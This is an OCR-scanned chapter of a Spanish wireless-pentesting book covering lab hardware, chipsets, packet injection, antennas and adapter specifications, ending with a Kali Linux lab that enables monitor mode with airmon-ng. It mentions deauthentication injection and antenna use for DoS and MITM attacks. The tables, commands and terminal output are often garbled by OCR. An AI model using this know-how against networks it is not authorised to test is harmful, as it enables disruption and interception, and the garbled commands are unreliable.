Antenas.
+ Instalacion y configuracion del adaptador inaldmbrico.

Asimismo, al final se incluyen dos laboratorios para instalar y configurar un adap-
tador inaldmbrico de Kali Linux.
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@ ::Hardware del laboratorio virtual 1D

Para su laboratorio virtual inalémbrico necesitara el siguiente hardware:
Dos portatiles con tarjetas wifi internas:

» Uno de los portatiles se usard como victima en su laboratoric. Debe tener
instalado como sistema operativo Windows XP/7/8.

» Elotro portatil hard las pruebas de penetracion (pentesting).

Cualquier portatil actual puede cumplir con estos requisitos; sin embargo,
es deseable que cuenten con al menos 3 GB de
memoria RAM para tener un mejor rendimiento en
el uso de las herramientas para los experimentos.

Se puede reemplazar uno de los portatiles usando
una magquina virtual.

Un adaptador inalambrico: Se necesita un adaptador wifi
USB que soporte paquetes de inyeccién y paquetes sniffing,
que sea compatible con Kali. La mejor opcién es la tarjeta
Alfa AWUSO36H, aparte de ser econdmica soporta muy
bien las herramientas de Kali Linux. Puede conseguir una en
cualquier tienda especializada de informatica por el precio,
aproximado, de US$ 15, el modelo mds comun es el que se
muestra en la siguiente figura:

Un Access Point (AP): Cualqguier AP que soporte los estandares de encrip-
tacion WEP/WPA/WPA2 puede ser usada. Incluso puede usar un router,
por ejemplo, un router inaldmbrico TP-LINK TL-WR841N como el de la
siguiente figura:
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Conexion a Internet: Es necesaria para la descarga de software y para realizar
algunos de los experimentos.

@ - chipsetsy drivers JD

Cada adaptador o tarjeta tiene un chipset. En el mercado se encuentran distintos
tipos de tarjetas; sin embargo, disponen de muy pocos modelos de chipsets. Las
tarjetas que comparten un chipset usan el mismo controlador (en inglés, driver).

El chipset es un circuito integrado que determina las funcionalidades del adap-
tador y su compatibilidad con otros dispositivos. Las diferentes tarjetas con el
mismo chipset se parecen mucho en cuanto a sus funcionalidades. Las diferen-
cias son cuadnta potencia de salida tiene la tarjeta o el tipo y la disponibilidad de
un conector de antena. La eleccién del chipset es el primer paso para decidir qué
tarjeta comprar.

El chipset viene dentro de la tarjeta o adaptador. Por ejemplo, en |z siguiente
figura se muestra el chipset RTL8187 que es uno de los mas usados.

M3 21 Caracteristicas especificas deseables en un controlador

Para la realizacién del pentesting, cualquier controlador inaldmbrico deberfa reunir
dos caracteristicas esenciales:
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El modo de monitor.

La inyeccion de paquetes, que se refiere a la capacidad de tra nsmitir paguetes
arbitrarios. Esta capacidad permite reproducir el tréfico en una red, acelerando
los ataques estadisticos contra dispositivos que tienen encriptacion WEP.
También, le permite inyectar paguetes de desautenticacion que se utilizan
para expulsar a los usuarios de un AP.

Que la tarjeta pueda ponerse en modo monitor, no necesariamente significa que
pueda inyectar paquetes. Las tarjetas que se usan en pentesting deben cumplir
ambas caracteristicas.

1 322 Inyeccion de paquetes

El soporte de inyeccién ha llegado tan lejos que ahora las aplicaciones pueden
usar, a nivel de usuario, dos API diferentes para realizar una inyeccion de paguetes
inaldmbrica de una manera cruzada:

La primera API escrita y lanzada se conoce como LORCON (Loss Of Radio
Connectivity, «<Pérdida de conectividad de radio»). Esta biblioteca se ha actua-
lizado desde entonces a LORCON2.

La otra biblioteca de inyeccién se llama osdep y es utilizada por las versiones
mas recientes de aircrack-ng.

Tanto LORCON como osdep proporcionan una API conveniente para que los desa-
rrolladores de aplicaciones transmitan paguetes sin estar atados a un controlador
en particular. Antes de que mac80211 fuera ampliamente compatible, lograr gue
la inyeccion funcionara era un problema mucho mas grande. Ahora la mayoria de
los usuarios simplemente usan el controlador mac80211 con LORCON. La tabla
3.1 resume el estado actual del soporte API de inyeccion de paquetes 802.11
en Linux. Tanto osdep como LORCON brindan niveles similares de soporte para
los diferentes controladores.

Tabla 3.1 Soporte API para la inyeccion de paguetes 802.11 en Linux.
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Aplicacién

Biblioteca

Alrpwn

Herramientas futuras

| HORCON

LORCON2/osdep

Aplicacion Biblioteca
Aircrack-ng (suite) Osdep
MDK3 losdep -
Metasploit o e T )

@) ::Especificaciones técnicas deun AP il

Hoy en dia existe mucha confusion con las especificaciones y caracteristicas de
un AP. Es importante conocer estos datos a la hora de escoger uno u otro. Las
principales caracteristicas a tener en cuenta son:

Potencia de transmision (se mide en dBm o mW).
+ Sensibilidad de recepcion (se mide en -dBm).

Ganancia de la antena (se mide en dBi).
Las unidades que se usan para medir cada una de estas magnitudes se basan en
un concepto: el decibelio. Seglin el glosario de sitios web como EcuRedEd o
GreenFacts:

«Decibelio es la unidad relativa empleada en telecomunicaciones para dB
expresar la relacion entre dos potencias (no es una unidad de medida).

Como el decibelio es adimensional y relativo, para medir valores absoluros DECIBEL
se necesita especificar a qué unidades estd referida la mediday

1 231 Potencia de transmision

La potencia de transmision (TX) se refiere a qué tan lejos puede transmitir su
tarjeta v se expresa en milivatios (mwW). El valor depende del tipo de tarjeta,
por ejemplo:

Las tarjetas mas comunes tienen aproximadamente 30 mW (+14.8 dBm)
0 mas.

Las tarjetas basadas en Atheros de nivel profesional vienen con 300 mW
(+24.8 dBm) de potencia TX.

+ El Alfa AWUS306NH actualmente tiene la medalla de potencia de trans-
misién, brindando 2 000 mW (33 dBm) de potencia.
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En las fichas técnicas, la potencia se expresa en dBm, gue es una medida basada
en los decibelios y tiene su equivalencia en m\W (ver tabla 3.2). En este caso,
como se especifica a qué unidades estd referida, el dBm mide un valor absoluto,
no relativo.

Aungue la potencia de TX es importante, no olvide considerarla junto con la
sensibilidad de una tarjeta determinada.

Si necesita convertir milivatios en dBm, no se asuste. La potencia en dBm es solo
diez veces el logaritmo de base 10 de la potencia expresada en milivatios. Aqui
estd la formula:

10 x Iog_io__ EmW) = dBmW

En la tabla 3.2 se muestran algunos ejemplos de conversion:

Tabla 3.2 Conversion de m\W a dBm

mw log,, (mW) dBm
0.0000001 mwW : =7 -70 dBm
©0001mW e  -30dBm
T A i R O T
g T RIS R R A e e
o omw |1 _0dem
30 mwW 1.477 +14.8 dBm
C100mW 2 © 4+20dBm
oMW . . 2apd R +248dBm
1000w | 3 )  +30dBm
G T TR T
1 232 Sensibilidad

Muchas personas pasan por alto la sensibilidad de una tarjeta y se centran en su
potencia de TX. Podria darse el caso que una tarjeta transmita a grandes distan-
cias, pero no pueda recibir la respuesta. Las personas pueden pasar por alto la
sensibilidad porque se enfatiza menos en la publicidad.
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La sensibilidad de recepcién indica qué cantidad de sefial (dBm) debe recibir
un dispositivo wifi para trabajar correctamente a una determinada velocidad de
transmisién (Mbps). Cuanto menor es el valor de la sensibilidad, mejor serad un
dispositivo, ya que necesitara que le llegue menos potencia para trabajar correc-
tamente (a una velocidad dada). El rango de sefial valido para enlaces wifi esta
alrededor de los -70 dBm. Una diferencia de 3 dBm significa que la potencia que
se necesita es dos veces menor.

Por ejemplo, si un dispositivo tiene una sensibilidad de recepcién (a 11 Mbps) de
-70 dBm, significa que necesita recibir una potencia de 0.0000001 mW para
gue funcione correctamente.

La sensibilidad generalmente se mide en dBm (decibeles en relacién con 1 mW).
Asi, cuanto mas negativo sea el nimero, serd mejor (-90 es mejor que -86).

Los valores tipicos para la sensibilidad en las tarjetas promedio para consumidores
son de -80 dBm a -90 dBm.

Cada cambio de 3 dBm representa una duplicacion (o la mitad si va en la otra
direccion) de sensibilidad (ver anterior tabla 3.2). Las tarjetas de gama alta obtienen
desde -97 hasta -93 dBm de sensibilidad.

1:33 Ganancia

La caracteristica mas importante de una antena es la ganancia. Esto viene a ser
la potencia de amplificacion de la sefial. La ganancia representa la relacion entre
la intensidad de campo que produce una antena en un punto determinado, y Ia
intensidad de campo que produce una antena omnidireccional (llamada isotropica),
en el mismo punto y en las mismas condiciones. Cuantc mayor es la ganancia,

mejor es la antena.
ANTENA OMNI 1808
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La unidad que sirve para medir esta ganancia es el decibelio (dB). Esta unidad
se calcula como el logaritmo de una relacion de valores. Como para calcular la
ganancia de una antena, se toma como referencia la antena isotropica, el valor
de dicha ganancia se representa en dBi.

Por ejemplo, una antena que tiene 10 dBi posee 10 decibelios mas de ganancia
por encima de la antena isotrdpica; si se pusieran a funcionar ambas antenas una
junto a la otra, la antena isotrépica exhibirfa una ganancia de O dB; y la antena
en cuestion, 10 dB.

1 3.3.4 Soporte para antenas

Lo ultimo que debe tener en cuenta al decidir qué tarjeta debe comprar es el
soporte para las antenas. ;Qué tipo de soporte de antena tiene v, para empezar,
necesita una antena? Si su trabajo es proteger o auditar una red inaldmbrica,
definitivamente querra obtener una o dos antenas para que pueda medir con
precisién hasta qué punto la sefial se filtra a los extrarios.

Actualmente, las tarjetas vienen con cero, uno o dos conectores de antena. Las
tarjetas 802.11n necesitan al menos dos antenas para admitir MIMO (aungue a
menudo se incluye una). Las tarjetas se conectan a antenas a través de cables
llamados pigtails (ver la siguiente figura). El trabajo del pigtail es simplemente
conectar cualquier tipo de conector existente en su tarjeta al tipo de conector
gue exista en su antena.

Una ventaja de la transicidn de tarjetas externas inalambricas a USB es que (casi)
todas ellas utilizan el mismo conector RP-SMA (Reverse Polarity SMA):
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Afortunadamente, la mayoria de las antenas vienen con un conector particular,
llamado tipo N. Especificamente, las antenas suelen tener un conector tipo N
hembra. Este conector estdndar permite que los amigos puedan dejarlas prestadas
sin preocuparse por los cables para convertir entre diferentes tipos de antenas.
Aseglrese de verificar antes de suponer que una antena tiene un conector de

tipo N.
e‘i.ﬁ

9, %

@ . Adaptadores inalambricos D

Como se menciond anteriormente, lo primero gue debe buscar al seleccionar un
adaptador inalambrico es el chipset que viene integrado en el adaptador. Los adap-
tadores pueden tener diferentes fabricantes y nombres impresos en el exterior
del dispositivo, pero usan los mismos chipsets por debajo del plastico.

Estos son los chipsets compatibles con Kali Linux:
Ralink RT3070.
» Atheros AR9271.
Ralink RT3572,
RTL8187.

A continuacion, se describen estos chipsets y algunos modelos de tarjetas gue los
utilizan. Estas tarjetas son altamente recomendables ya que tienen una potencia
de transmision/sensibilidad superior a la media, compatibilidad sélida con Linux
Y conectores de antena externos. Algunas de ellas también son compatibles con
la inyeccion de paquetes v el modo de monitor en OS X y Windows.

i o

L\ o8
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i 341 Chipset Ralink RT3070

Este chipset se usa en muchos adaptadores inalam-
bricos USB diferentes que estan disponibles en
diferentes factores de forma.

Hay cientos de adaptadores mas que también usan este chipset y tienen una gran
variedad de tamafos y configuraciones de hardware. Entre los adaptadores que
usan este chipset destacan los siguientes:

a. ALFA AWUSO36NH

A pesar de que la tecnologia que usa posee algunas limitaciones en cuanto a
velocidad de descarga méxima; todos los otros factores, como potencia y sensi-
bilidad, la convierten en el adaptador wifi mas destacado de los ultimos anos.

El driver publicado para este adaptador wifi es el de Windows /, pero la insta-
lacién en Windows 8 y Windows 10 es muy facil y es completamente estable.

Fuente: www.alfa.com.tw

Tahla 3.3 Especificaciones del adaptador Alfa AWUSO36NH

Fabricante Alfa
Color Plateado -~ -
Modelo AWUSOZ6NH
P.’rc-:nt-dcgato-s soporrrtérdosm_ : 802.11 b/g[n 7 i iy ;
Chipset | RalinkrT8O70
Banda R e ;
_Fj‘_d_tenciiarr ” _ ZW o
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Fabricante Alfa
Linux (RT3070)
Modo monitor Windows (NetMon, CommView)
| OSX(KisMAC)
Soporte inyeccién LinugIRT3070
S OSX{KisMAC)
_Interfazthost) = |MiniUsB20
rlnter‘faz_Qe an_tena i RP-SMA,
frg(r:'éc?r(apriox.) $20

Aungue el Alfa plateado funciond bien durante mucho tiempo, fue reempla-
zado por modelos mas nuevos. Los lectores con Alfas plateados deberian
considerar seriamente actualizarse a una de las tarjetas mas modernas.

. ALFA AWUSO36NEH

También conocido como Alfa negro, descrito en la siguiente tabla, es basi-
camente la version 802.11n del Alfa plateado original. EI mayor cambio,
ademas del soparte de 802.11n, es que es notablemente mas pequefio.
Lamentablemente, este Alfa (o cualquier otro que venga después del plateado)
no es compatible en OS X con KisMAC.

Tabla 3.4 Especificaciones del adaptador Alfa AWUSO36NEH

Fabricante Alfa
| Negro (mas pequefio)
AWUSO36NEH
e T R S
| RetinkRT3070

Color
Modelo
- Protocolos sop-o.r}:adosr
Chipset
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Fabricante Alfa
Banda 2.4 GHz
Pdte-ncia- - i _1\1;\." o 7 N
Modo monitor Lietse [R1G570)

‘ e e e ‘_\/V_’in_do_\_/_vs (NgtMon,CommView)

Soporte inyeccién | Linux (RTL8187)
R T )
Interfaz de antenna lixsma
DEchReRy . . o | &iE e

1 3.4.2 Chipset Atheros AR9271

Similar al RT3070, este chipset también es compatible con 2.4 GHz y es utilizado
por varios fabricantes, incluyendo ALFA, TP-LINK, D-Link y otros. Encontrara estos
adaptadores recomendados regularmente por pentesters en los foros de Kali y
aircrack-ng. Aqui se muestran algunos adaptadores junto con sus especificaciones.

a. ALFA AWUSO36NHA

Tabla 3.5 Especificaciones del adaptador Alfa AWUSO36NHA

Fabricante

Alfa

Color :
Mode!o

EEr
AWUSO36NHA
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Fabricante

Alfa

Protoco!_(_)s s_o_p_ortados
Chipset o
-Bandariw >

_-P_b-_‘Fenda

Interfaz (_hj-c_)st)

Interfaz de antena

Precio (arprrqg.)

b. TP LINK TL-WN722N

| 6somweasdBm)

| 1xRP-SMA
| %30

Sk
plercs ARERVL

AUbE

Mini USB 2.0

Tabla 3.6 Especificaciones del adaptador TP LINK TL-WN722N

Fabricante

TP-LINK

Color

Modelo

_Prptogoros sopartados

Chipset
Banda

Potencia

Interfaz (host)

Precio (aprox.)

Interfaz de antena

Blanco

TP LINK TL-WN722N

80211bgh
Atheros AR9Z71
24GHz.
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0 3.4.3 Chipset Ralink RT3572

Este es el chipset Ralink mas nuevo. Es compatible con Kali Linux y con los modos
gue nos interesan. Este chipset es capaz tanto de 2.4 GHz como de 5.0 GHz, o
que lo hace muy atractivo para los pentesters. Un ejemplo comin gue usa este
chipset es el siguiente:

a. ALFA AWUSO51NH
El Alfa dorado agrega soporte para 5 GHz, pero no tiene soporte para OS X.

Tabla 3.7 Especificaciones del adaptador Alfa AWUSO51NH

Fabricante Alfa
Color : Dorado :
Modelo AWUSOSINH
Protoc'olorsr Vsébrdrrrtégqrsw 80211 a/ b/g/n- e
Chipset Ralink RT3572
‘Banda |24GHzy506H,
Modo mortor Windows (NetMor
TSorprorte inyec-cién N --Iiiﬁux-(RlTS_‘j-?ZZ) L
nterfaz(host) | MiniUSB20
Interfaz de antena L ERtme S

1 interna (2x2 MIMO)

Precio faprox)  |$15
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1344 Chipset RTL8187

Los usuarios del controlador RTL8187 generalmente tienen una sola tarjeta en
mente: el Alfa AWUSQO36H. El Alfa es un adaptador USB con un chipset Realtek
RTL8187 en su interior. El driver tiene el mismo nombre. Este driver se ha fusio-
nado en el nlcleo principal durante afios y funciona de manera impresicnante.

a. AWUSO036H
Tabla 2.8 Especificaciones del adaptador Alfa AWUSO36H

Fabricante Alfa
Color Platead_o i Bl
Modelo | AwusozeH
. Protogoio; éopogfédc;s SOgl}bfg iy
6h_|pset - Realtek RT8187 -
Banda . |zacHz
Génénc‘ia 1W S
e Linux (RTL8187)
Modo manitor Windows (NetMon, CommView)
| OSX(KisMAC) s
Soporte inyeccién LinLps (R.TL8187)
_ OS5 X (KisMAC) o
Interfaz(host) |MiniUSB20
Vlnterfaz de aﬁtena 1xSMA )
Precio (aprox) $20 i
(e IUS0S6H

i " |
T"I':;' _‘ r;-'-'""'”"ﬂ' ‘
| ong || neamaf |
bl | AP I-}:.‘..-,.. {weaz | | WEP |

A \ i
&

Notard que todos los adaptadores inaldmbricos recomendados en esta seccidn
fienen varias cosas en comun:
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Todos utilizan una conexion USB en lugar de estar integrados en el dispo-
sitivo. Esto es ventajoso por varias razones:

Los dispositivos inaldmbricos integrados, como los que se incluyen en
su portatil, pueden tener un soporte limitado de funcionalidad avanzada
debido a las limitaciones del driver y el firmware.

La mayoria de los pentesters también usaran dispositivos USB debido a
su portabilidad. El adaptador inaldmbrico USB se puede desconectar facil-
mente de su dispositivo de prueba de penetracién principal y se puede
mover a una plataforma alternativa.

Los dispositivos USB también se pueden mapear facilmente a través de una
maquina virtual que se ejecuta en la parte superior de su sistema operativo
existente. Esto se demostrard méas adelante, cuando se trate la instalacion
de Kali Linux en una VM que se gjecuta en Virtual Box.

Todos admiten una antena externa conectada a su radio. En los adaptadores
USB ALFA, la antena se conecta a través de un conector RP-SMA. Este es
un conector muy comun para antenas, y le permite seleccionar una antena
para adaptarse a la situacion y el entorno donde esta operando. Los tipos
de antena varian en su construccion y disefio para optimizar la ganancia -
o enfocar sus sefiales de radio en una direccion particular, aumentando la -
distancia en la que pueden transmitir y recibir. La siguiente seccion analizara
varios tipos de antenas y detalles que pueden aparecer o usarse durante
su evaluacion inalambrica. |

G : Antenas JEENERNNEND

Las antenas son importantes para enviar vy recibir sefiales de radio. Convierten
los impulsos eléctricas en sefales de radio y viceversa. ‘

En el mercado existen dos tipos de antenas 802.11 que pueden fijarse a los
adaptadores inaldmbricos y que se clasifican (segun la forma en que irradian)
en: omnidireccionales y direccionales. Cada una tiene sus propias ventajas
y desventajas.

Capitulo 3
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Direccional
Omnidireccional

+ Las antenas omnidireccionales pueden detectar sefales de multiples direc-
ciones porque la ganancia se concentra en un patrén horizontal de 360
grados. Funcionan mejor cuando se esta en movimiento y desconoce donde
se originan las sefales.

+ Las antenas direccionales concentran la ganancia en una direccion parti-
cular. Funcionan mejor en la direccién en que apuntan. En general, detectara
mas sefales con su antena omnidireccional, pero encontrara que su antena
direccional puede obtener una intensidad de sefial mas fuerte para las
sefiales a las gue apunta.

Si tiene inclinaciones mecénicas y eléctricas, puede construir antenas de guia de
onda econdmica usando una lata de Pingles por solo unos pocos dolares. Por
supuesto, también puede pasar horas en el garaje sin nada gue mostrar, excepto
una lata con un agujero y 1 o 2 dBi de ganancia con un extrafio patron de radia-
cién. Sin embargo, si esto suena como un pasatiempo divertido, puede encontrar
muchas guias en linea.

Finalmente, un recordatorio sobre la comparacion de la sensibilidad de la antena:
la sensibilidad de la antena se mide en dBi. Hacer comparaciones casuales de
dBi puede ser enganoso. No lo olvide: un aumento de 3 dBi en la ganancia de la
antena equivale a duplicar el alcance efectivo de la antena. Una antena con 12
dBi de ganancia aumentara su alcance a aproximadamente el doble que la de una
antena con 9 dBi de ganancia.

1351 Antenas omnidireccionales

La antena omnidireccional, como su nombre lo indica, envia y recibe tréfico inaldm-
brico en todas las direcciones alrededor de la circunferencia de la antena (360°).
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Extendera su alcance en todas las direcciones. Se usa en las estaciones base
inaldmbricas o para cualquier persona interesada en wardriving.

La cantidad de ganancia proparcionada por estas antenas varfa entre 5 dBiy 14
dBi. Esta es una gran antena de propdsito general
y generalmente se enviard con un adaptador que
permite una antena externa. Estas antenas pueden
disefarse para 2.4 GHz, 5.0 GHz o ambas.

Las antenas omnidireccionales aumentan su alcance en una
forma mas o menos circular. Si conduce por la calle buscando
redes, una antena omnidireccional es probablemente la mejor herra-
mienta para el trabajo. Si desea la capacidad de dirigir su sefal con
precisién, es méas Util una antena direccional.

1 352 Antenas direccionales

Una antena direccional es aquella que le permite enfocar la sefial (gue le aplica w“

la tarjeta o AP) en una direccién particular. Normalmente, estas antenas se usan
para establecer enlaces punto a punto o para enlazarse con un nodo gue tenga
una antena omnidireccional.

Una antena direccional recibe y emite la sefial wifi hacia delante y, ademas, tiene
un angulo més abierto o cerrado para poder llegar aun mas lejos.

La relacién del angulo de abertura con la distancia gue alcanza es: a menor angulo, -
mas alcance. La forma gréfica de verlo es comparandolo con un foco de luz. Una
bombilla emite la luz en un angulo de 360° ilumina muy bien de cerca, pero tiene
muy poco alcance en la distancia. El foco de una linterna o de un faro de auto-
maévil concentra toda la luz en un angulo de abertura de 30° permitiendo llegar
mas lejos. Si se reduce el angulo, alin mas hasta 10°, el alcance aumenta, pero no
se verd nada en los laterales.

Hay varios tipos de antenas direccionales, destacando los cuatro siguientes:

-,
E<]

Panel (o patch panel).

« Panel de largo alcance.

e

+ Yagi.

Parabdlica o de rejilla.

e
*
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En el siguiente grafico, se puede ver como trabajan estos cuatro tipos de antenas
direccionales y sus caracteristicas basicas:

Antena - Angulo/Cobertura

s
~___ | 4&?»800m

== 30°>1500m

it 7°>15km

35.2.1. Antena de tipo panel

Las antenas de panel en su versién mas bésica consisten en una placa o lamina
conductora que adopta distintas formas y tamarios en funcion de la sefial que
quiera transmitir. El patrén de radiacion puede variar sustancialmente atendiendo
a la forma de la placa y a si se coloca en solitario o formando un conjunto.

a. Antena wifi Mini Panel Alfa APA-M04

Con un angulo de apertura de unos 60° es muy practica para usar en el
interior. Es una antena direccional con un angulo muy abierto para poder ver
todas las redes wifi del entorno y un alcance de hasta 300 metros con muy
buena calidad.
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Con estas antenas se consigue crear pequefias zonas de cobertura para
recintos, estaciones de metro y complejos similares, consiguiendo con varias
de ellas establecer «células» (como en telefonfa movil). También pueden usarse
para sustituir una antena omnidireccional, tras la cual pudiera encontrarse un
edificio u otra estructura que impidiera que la sefial se propagase, poniendo
varias de ellas para cubrir la zona deseada y no desperdiciar sefial. A esta union
de antenas se las llama array.

Normalmente la anchura del haz que irradian estas antenas es de 35° tanto
en vertical como en horizontal.

35.2.2. Antena Panel de largo alcance

a. Melon N4000

Con un angulo de 35° de ancho de haz puede loca-
lizar las redes que se sitUan fuera de la casa hasta una
asombrosa distancia de 800 metros. Es completamente
impermeable y se puede colocar al exterior bajo lluvia'y
sol. Es el modelo mas usado para largo alcance porgue
su tamanfio es manejable y muy facil de instalar.

35.23. Antenas Yagi

Este tipo de antenas fueron concebidas por los japoneses Hidetsugu Yagi y
Shintaro Uda. A veces se refieren a ellas como Yagi-Uda.

Se basa en una estructura simple de dipolo combinada con elementos parasitos

conocidos como reflector y directores (los «palitos» a lo largo de la antena), y gue
permiten construir una antena direccional de muy alto rendimiento.

Es comun encontrar este tipo de antenas con ganancias de 18 dBi o mas, lo que
le permite estar mas alejado de la red inalambrica objetivo que esta probando
si su objetivo direccional con la antena es verdadero. Estan comunmente dispo-
nibles con 30 grados de ancho de haz. Cuando la mayorfa de la gente piensa en
una antena de aspecto amenazante, probablemente estén pensando en un Yagi.

Se usa en comunicaciones para una banda de frecuencia de 10 MHz para VHE

v UHF. Es la tipica antena de television y también la que esta basada uno de los.

modelos de antena wifi casera méas conocidos, el de la lata de Pringles.
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35.2.4. Antena Direccional de rejilla, o parabolica

Una antena parabdlica consiste en situar un panel reflector (reflector parabdlico)
que permite concentrar la sefial en un punto (foco) o reflejarla en una direccion
especifica si se coloca un elemento emisor en ese punto.

Es la tipica antena para establecer enlaces punto a punto o para conectar a un
nodo. Se basan en el principio de los platos satelitales, con la diferencia de gue
no cuéentan con un apoyo sélido.

Se caracterizan por su alta ganancia, que va desde unos discretos 15 dBi, llegando
en los modelos superiores hasta los 24 dBi. Cuanta mas alta es la ganancia de
este tipo de antenas, mas alta es su direccionalidad, ya que se reduce muchi-
simo el 4ngulo en el que irradian la sefal, llegando a ser tan estrechos como 8°
de apertura. Por su disefo, pueden captar sefiales de varios kilometros, por lo
cual es una de las favoritas entre los instaladores profesionales de antenas wifi.

AL L i
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Lo Unico que hace la rejilla de estas antenas es concentrar la senal que llega hasta
ella, y enviarla al «dipolo» que esta cubierto por un pldstico protector.

Las antenas parabdlicas de rejilla permiten a los atacantes obtener mejor calidad
de sefial, lo que da como resultado una mayor cantidad de datos interceptados,
Mas ancho de banda y una mayor potencia de salida, que es esencial en la capa
1 para los ataques DoS y Man-In-The-Middle.
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3.6 Instalacion y configuracion
del adaptador inalambrico

Ahora que instald Kali Linux en la VM, es el momento de hablar de la configuracion
del adaptador inalambrico. Sin embargo, primero eche un vistazo a sus requisitos.

1361 Requisitos del adaptador inalambrico

Los principales requisitos que un adaptador inaldmbrico debe cumplir para ser
apto para pruebas de penetracion inalambrica son:

Compatibilidad con los estandares de IEEE 802.11b/g/n wifi y posiblemente
también con 802.11a, que opera en la banda de 5 GHz (soporta doble banda).

La capacidad de poner la tarjeta en el llamado modo-monitor, que permite -

capturar todo el trafico inalambrico. El modo monitor es equivalente al modo
promiscuo en las redes cableadas.

La capacidad de soportar inyeccién de paquetes para activamente inyectar
trafico en la red.

Para verificar que su adaptador wifi satisface estos requisitos, primero necesita
determinar su chipset y verificar que sus drivers para Linux soportan tanto el
modo-monitor como la inyeccién de paquetes. Méas adelante en este capitulo,
vera como probar de modo préctico si su adaptador cumple con estos requisitos.

_[Notal . o o o
’ Verificar la compatibilidact del chipset del adaptador.
Dara determinar el chipset v verificar su compatibilidad, puede resultarle de ayuda el
tutorial ;Es compatible mi tarjeta Wireless? y las secciones de Drivers_Compatibility en la
wiki de documentacion de aircrack-ng. Esta documentacion ofrece una lista detallada

de los chipsets v sus niveles de soparte para pruebas de penetracion inaldmbrica

Si su portatil no es muy antiguo, casi con toda seguridad esta equipado con una
tarjeta wifi interna. Las tarjetas internas no son generalmente la mejor opcion

para las pruebas de penetracion inaldmbrica porgue la mayorfa de sus chipsets no -

son compatibles con Kali Linux para este proposito. Por otra parte, no se puede |

usar una tarjeta interna dentro de una maquina virtual ya que se necesita acceso
directo al dispositivo para que funcione y las maquinas virtuales permiten acceso
directo solo a dispositivos USB. Asf, si Kali Linux se ejecuta en una maquina virtual,
solo puede utilizar adaptadores inalambricos USB.
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Por estas razones, la opcion recomendada es utilizar un adaptador inalambrico
USB con una antena externa de alta ganancia que tenga mas potencia de trans-
mision v sensibilidad que las antenas integradas vy, por lo tanto, pueda recibir y
transmitir una sefal de largo alcance.

Un adaptador barato y compatible con Kali Linux (por lo tanto, muy popular
entre los probadores de penetracion inaldmbrica) es la tarjeta Alfa Networks
AWUSO36NH USB. Esta tarjeta tiene un chipset Ralink. Otros chipsets que
estan bien soportados bajo Linux son los chipsets Atheros y Realtek RTL8187L.

De ahora en adelante, se asumird gue usted estd usando un adaptador inalam-
brico USB.

37 Laboratorio 1: Configuracion
de la tarjeta inalambrica

Después de conectar el adaptador al puerto USB, debe configurarlo para que sea
usado dentro de su maquina virtual con el Kali Linux instalado.

1. Inicie el administrador VM de VirtualBox, seleccione su MV de Kali Linux en
el panel izquierdo y navegue a Configuracion > USB. Primero, debe habilitar el
controlador USB 2.0 si es gque aUin no lo ha activado. Esto reguiere tener insta-
lado el Paguete de Extension del VirtualBox (para mas informacion, consulte
el cuadro de informacion Installing the VirtualBox Extension Pack).

2. Haga clic en Agregar un nuevo filtro de dispositivo USB (el icono verde con
el simbolo mas ubicado a la derecha) y seleccione el dispositivo que corres-
ponde a su adaptador inalambrico.
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[Nota| Instalacién del paquete de extension de VirtualBox.

I Puede descargar el paguete de extension desde https://www.virtualbox.org/wiki/
Downloads seleccionando el archivo apropiado segun la version de Virtual Box instalada
Hay informacion sobre el paquete de extension de Virh 1alBox y como instalarlo en

https://www.virtualbox.org/manual/ch01.HTML #intro-installing.

3. Inicie su VM que ahora debe ser capaz de utilizar su adaptador inaldmbrico.

Después que Kali Linux dentro de la VM haya arrancado, inicie sesion en el
sistera como root y abra el emulador de terminal. Escriba el comando iwcenfig
para ver todas las interfaces inaldmbricas disponibles en su sistema.

:~# iwconfig
no wireless extensions.

no wireless Extensioens,

wland IEEE 862,11 _ESSIbsafffany
Mode<Managed Access Poists Nol-Associated Tx-Power=28 dBm
Retry short limifts? RTS thr:aff Fragment thr:off
Encryption key:off
pPower Management:aff

roat@kati:-# [

El sistema ha asignado a su adaptador la interfaz wlan0, pero todavia no esta
activo, como puede ver en la salida de ifconfig.
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4. Para que aparezca la interfaz wlan0, ejecute el comando ifconfig wiane up y
luego ifconfig para comprobar que se ha activado. Ahora, la interfaz inaldm-
brica esta funcionando.

ed @ pverruns 8 carrier 0 collisianse

MULTICAST>  miu 1588
baquevelen 1688 {Ethernet}
)

runs 0 frame B
1]
aryuns 8 carcier @ collisions 8

1371 Probar el adaptador para pruebas
de penetracion inalambrica

Ahora que ha configurado el adaptador, puede ejecutar algunas pruebas para

comprobar gue es realmente conveniente para las pruebas de penetracién inalam-

brica; es decir, que se pueda poner en modo monitor y soporte la inyeccién

de paquetes. Para ello, utilice dos programas de la suite Aircrack-ng que son:

;irlr?gn-ng y aireplay-ng que también seran ampliamente utilizados en el resto
el libro.

a. Configuracion del adaptador inalambrico en modo monitor
En primer lugar, para poner la interfaz en modo monitor, ejecute el comando:
airmon-ng start wlan®

Si el comando se completa correctamente vy el modo monitor estd activado
en la nueva interfaz wlanOmon, significa que jha pasado esta prueba! Como
se muestra en la siguiente captura de pantalla:
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root{kali;~# airmon-ng start wlan®

Found 3 pra 5 at could cause trouble.
y<ng or airtun-ng stops working after
you may wanl to run “alrmeri-ng check kill®

If airodump
a shorl period of 1ime,

PID Namg
357 NetworkManager
435 dhclient
585 wpa supplicant
PHY Interface Driver Chipset

phyl wlan@é reis187 Realtek Semiconductor Corp. RTLB187

(mac80211 manitor mode vif enabled for [phyllwlané on fphyliwlan@mon)
(MacBB211 station mede vif disahled for [phyllwiang)

root@kali:~# [

La herramienta airmon-ng también le indica el chipset y el driver (controlador)
que usa el adaptador. Observe que la interfaz wlanOmon se crea con el modo
monitor habilitado, mientras que la interfaz wlanO est4 en modo station (que
es el modo predeterminado para adaptadores inaldmbricos), como se muestra

en la siguiente salida del comando iwconfig:

root@kali:~# iwconfig
lo no wireless extensions.

etha no wireless extensions,

wlanemon IEEE 882.11 Wede:Monitar Frequency:2.457 GHz Tx-Power=28 dBm
Retry short limit: R¥S thr:off  Fragment thr:off

Power Management:an

rootikali:-# ]

| 3 interfaz wlanOmon esta «escuchando» en todos los canales. Si guiere escu-
char en un canal especifico, escriba el comando zirmon-ng start wlano <channel>,

root@kali:~# airmon-ng start wland 1 l

Found 3 processes that could cause trouble.
1f airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may wanl to run ‘mirmon-ng check kill!

PID Name
398 NetworkManager
648 wpa_supplicant
652 dhelient
PHY Interface Driver Chipset
phy8 wlan@man rtls187 Realtek Semiconducior Corp. RTLB187

root@kali:-# I 1

Mientras ejecuta airmon-ng, note una advertencia indicando que algunos
